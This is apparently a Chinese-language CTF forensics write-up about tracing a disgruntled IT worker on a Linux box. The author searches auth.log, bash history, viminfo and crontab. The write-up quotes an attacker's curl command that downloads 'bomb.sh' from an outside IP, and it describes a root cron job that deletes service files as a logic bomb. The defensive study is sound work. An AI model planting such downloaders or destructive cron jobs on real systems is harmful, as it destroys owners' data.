目录
0x00 房间介绍
0x01 连接并简单排查
0x02 让我们看看做没做坏事
0x03 炸弹已埋下。但何时何地?
0x04 收尾
0x05 结论
0x00 房间介绍
0x01 连接并简单排查
我们通过ssh连接到该机器
查看两个任务,我们思考一下如何解决。
我们知道auth.log文件记录了系统的日志信息,所以安装包的命令会在上面留下日志。
/var/log/auth.log
文件用于记录与系统认证和授权相关的日志信息。这包括:
- 用户登录和注销事件
- 使用
sudo
执行的命令- SSH 登录尝试
- 系统服务(如 PAM)相关的认证事件
我们使用下面这段代码进行查询与sudo有关的日志查询。
sudo cat /var/log/auth.log | grep sudo
最终我找到了这条命令,但是我复盘的时候发现,应该有更好用的命令。
因为是安装包的命令,肯定会有apt或者yum,所以我们再加入一个条件限制搜索结果。
sudo cat /var/log/auth.log | grep sudo | grep apt
这条命令就过滤的很简单。
同时同一行也有工作目录。
0x02 让我们看看做没做坏事
首先创建用户必须是root或者sudo提权,并且linux添加用户的操作是useradd,根据此信息,我们编写一个脚本去终端中执行。
sudo cat /var/log/auth.log | grep adduser | grep sudo
我的疑问:adduser,和useradd的区别,ai给出了很好的解释
第二个问题,sudoer文件什么时候更新。
知识:编辑 /etc/sudoers 文件时会调用“visudo”。在日志中查找此命令。
sudo cat /var/log/auth.log | grep visudo
我们使用此命令查找到了文件更新时间。
第三个任务,我们可以知道使用了vi编辑器
/home/Viminfo 文件包含在 Vim 中打开的文件的命令行历史记录、搜索字符串历史记录等。
很开门,但是没啥用,我们使用下面的命令直接得到编辑命令
sudo cat /var/log/auth.log | grep vi
0x03 炸弹已埋下。但何时何地?
该bomb.sh
文件是一个巨大的危险信号! 虽然文件本身已经足以证明其有罪,但我们仍需要找出它的来源和内容。问题是该文件已不存在。
我们看看任务都有什么?
上文我们已经得到了文件的路径,我随后跟进到这个目录,发现这个文件已经被删除。
我发现隐藏文件有一个.bash_history
/home/user/Bash_history 文件列出了除使用 sudo 运行的命令之外的所有命令,这些命令都存储在 bash 历史记录中。我们打开它,发现了有关恶意文件的信息。
创建bomb.sh的命令,curl 10.10.158.38:8080/bomb.sh --output bomb.sh
指的是访问这个站点的sh文件并将它保存到本地
任务者提到了这个sh文件被移到了其他位置,但是没有被发现。
我们查看一下viminfo文件
/home/viminfo 文件包含在 Vim 中打开的文件的命令行历史记录、搜索字符串历史记录等。
对于vim编辑器来说:
:
开始了一个 Ex 命令。saveas
是一个命令,用于保存编辑的内容到一个新文件
我们知道了它被移动的位置。
文件最后被修改的时间是一个问题,但是我找到了时间戳
date -d @1672208955
我们可以使用这个命令将时间戳变成时间。
最后一个问题十分简单,我们直接访问那个文件,查看这个sh文件执行的命令就可以得出啦!
0x04 收尾
我们知道这个文件被加入了定时任务中,我们去查看一下.
查看定时任务
cat /etc/crontab
0 8 * * * root /bin/os-update.sh
具体解释如下:
0
: 表示分钟,0
表示整点。8
: 表示小时,8
表示上午 8 点。*
: 表示日(每个月的每天都会触发)。*
: 表示月(每年的每个月都会触发)。*
: 表示星期几(每周的每一天都会触发)。
表示在 每天的 8:00 AM 由 root 用户 执行 /bin/os-update.sh
脚本。
0x05 结论
感谢您,现在我们知道了我们那位心怀不满的 IT 人员在计划什么。
我们知道,他在机器上下载了一个事先准备好的脚本,如果用户在过去 30 天内没有登录过这台机器,这个脚本就会删除已安装服务的所有文件。这绝对是“逻辑炸弹”的典型例子。
看看你,上班第二天,你就帮我解决了两个案子。告诉索菲,我让你涨工资了。